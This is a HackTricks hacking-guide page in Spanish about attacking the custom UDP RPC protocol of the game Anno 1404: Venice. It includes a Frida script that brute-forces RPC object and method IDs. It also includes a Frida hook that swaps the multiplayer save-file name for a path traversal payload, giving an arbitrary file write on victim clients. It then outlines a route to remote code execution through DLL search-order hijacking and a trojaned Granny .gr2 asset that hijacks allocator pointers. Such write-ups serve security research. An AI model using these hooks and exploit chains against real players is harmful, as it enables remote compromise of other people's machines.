Enumeración RPC UDP personalizada y abuso de transferencia de archivos
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Mapeo de objetos RPC propietarios con Frida
Los títulos multijugador antiguos a menudo incorporan pilas RPC hechas en casa sobre UDP. En Anno 1404: Venice esto se implementa dentro de NetComEngine3.dll a través del despachador RMC_CallMessage, que analiza 5 campos de cada datagrama:
| Field | Propósito |
|---|---|
ID | Verbo RPC (16-bit) |
Flags | Modificadores de transporte (reliability, ordering) |
Source | ID de objeto del llamador |
TargetObject | Instancia de objeto remoto |
Method | Índice de método dentro de la clase objetivo |
Dos funciones auxiliares – ClassToMethodName() y TargetName() – traducen IDs en bruto a cadenas legibles para logging. Mediante brute-forcing IDs de objeto de 24‑bit e IDs de método de 16‑bit y llamando a esas funciones auxiliares podemos enumerar toda la superficie accesible de forma remota sin capturas de tráfico ni symbol leaks.
Enumerador de superficie de Frida (recortado)
```javascript 'use strict';const classToMethod = Module.getExportByName(‘NetComEngine3.dll’, ‘ClassToMethodName’); const targetName = Module.getExportByName(‘NetComEngine3.dll’, ‘TargetName’);
function tryID(objID, methodID) { const method = new NativeFunction(classToMethod, ‘pointer’, [‘pointer’, ‘uint’]); const target = new NativeFunction(targetName, ‘pointer’, [‘pointer’]); const buf = Memory.alloc(Process.pointerSize); buf.writeU32(objID); const m = method(buf, methodID); if (!m.isNull()) { const t = target(buf); console.log(objID.toString(16), ‘=’, t.readUtf16String()); console.log(’ -’, methodID, ‘=’, m.readUtf16String()); } }
for (let obj = 0; obj < 0x9000000; obj += 0x400000) { for (let meth = 0; meth < 0x40; meth++) { tryID(obj, meth); } }
</details>
Ejecutar `frida -l explore-surface.js Addon.exe` emitió el mapa RPC completo, incluyendo el objeto `Player` (`0x7400000`) y sus verbos de transferencia de archivos `OnSendFileInit`, `OnSendFileData`, `OnReceivedFileData` y `OnCancelSendFile`. El mismo flujo de trabajo se aplica a cualquier protocolo binario que exponga auxiliares de reflexión internos: intercepta el dispatcher, fuerza bruta los IDs y registra lo que el engine ya sabe sobre cada método invocable.
### Tips
- Usa los propios buffers de logging del engine (`WString::Format` en este caso) para evitar reimplementar codificaciones de cadena no documentadas.
- Volcar `Flags` para identificar características de confiabilidad (ACK, resend requests) antes de intentar fuzzing; los stacks UDP personalizados suelen descartar paquetes malformados silenciosamente.
- Almacena el mapa enumerado – sirve como corpus para fuzzing y deja claro qué objetos manipulan el sistema de archivos, el estado del mundo o el scripting en el juego.
## Subvirtiendo RPCs de transferencia de archivos
La sincronización de guardados multijugador usaba un handshake de dos paquetes:
1. `OnSendFileInit` — transporta el nombre de archivo UTF‑16 que el cliente debe usar al guardar la payload entrante.
2. `OnSendFileData` — transmite contenidos de archivo en bruto en trozos de tamaño fijo.
Debido a que el servidor serializa el nombre de archivo mediante `ByteStreamWriteString()` justo antes de enviar, un hook de Frida puede intercambiar el puntero por una traversal payload manteniendo intactos los tamaños de paquete.
<details>
<summary>Intercambiador de nombres de archivo</summary>
```javascript
const writeStr = ptr('0x1003A250');
const ByteStreamWriteString = new NativeFunction(writeStr, 'pointer', ['pointer', 'pointer']);
const evil = Memory.allocUtf16String('..\\..\\..\\..\\Sauvegarde.sww');
Interceptor.attach(writeStr, {
onEnter(args) {
const src = args[1].readPointer();
const value = src.readUtf16String();
if (value && value.indexOf('Sauvegarde.sww') !== -1) {
args[1].writePointer(evil);
}
}
});
Los clientes víctimas no realizaron ninguna sanitización y escribieron la partida recibida en cualquier ruta que suministrara el host malicioso, p. ej. depositándola en C:\User\user en lugar del árbol previsto ...\Savegames\MPShare. En instalaciones de Windows de Anno 1404 el directorio del juego es world-writable, por lo que el traversal se convierte instantáneamente en un primitivo de escritura de archivos arbitrarios:
- Drop DLLs para el clásico search-order hijacking en el siguiente lanzamiento, o
- Overwrite asset archives (RDA files) de modo que modelos, texturas o scripts weaponized se carguen en vivo durante la misma sesión.
Defender / atacar otros objetivos
- Busca RPC verbs llamados
SendFile,Upload,ShareSave, etc., y luego intercepta el helper de serialización responsable de los nombres de archivo o directorios de destino. - Incluso si los nombres de archivo pasan un control de longitud, muchas stacks olvidan canonicalizar
..\o secuencias mixtas/vs\; prueba todas las combinaciones de separadores. - Cuando el receptor almacena archivos bajo la ruta de instalación del juego, verifica los ACLs con
icaclspara confirmar si un usuario sin privilegios puede depositar código allí.
Convertir path traversal en ejecución en vivo de assets
Una vez que puedes subir bytes arbitrarios, reemplaza cualquier asset que se cargue con frecuencia:
- Unpack the archive. RDA archives son contenedores basados en DEFLATE cuya metadata está opcionalmente XOR-obfuscated con flujos seedados por
srand(0xA2C2A). Herramientas como RDAExplorer vuelven a re-pack archives tras las ediciones. - Inject a malicious
.gr2. El archivo Granny 3D troyanizado contiene el exploit de relocación que sobrescribeSectionContentArrayy, mediante una secuencia de relocación en dos etapas, obtiene una escritura arbitraria de 4 bytes dentro degranny2.dll. - Hijack allocator callbacks. Con ASLR disabled y DEP off, reemplazar los punteros de función
malloc/freeengranny2.dllredirige la siguiente asignación a tu shellcode, dando RCE inmediato sin esperar a que la víctima reinicie el juego.
Este patrón se generaliza a cualquier título que streamee assets estructurados desde archivos binarios: combina path traversal a nivel RPC para la entrega y el procesamiento inseguro de relocaciones para ejecución de código.
Referencias
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.


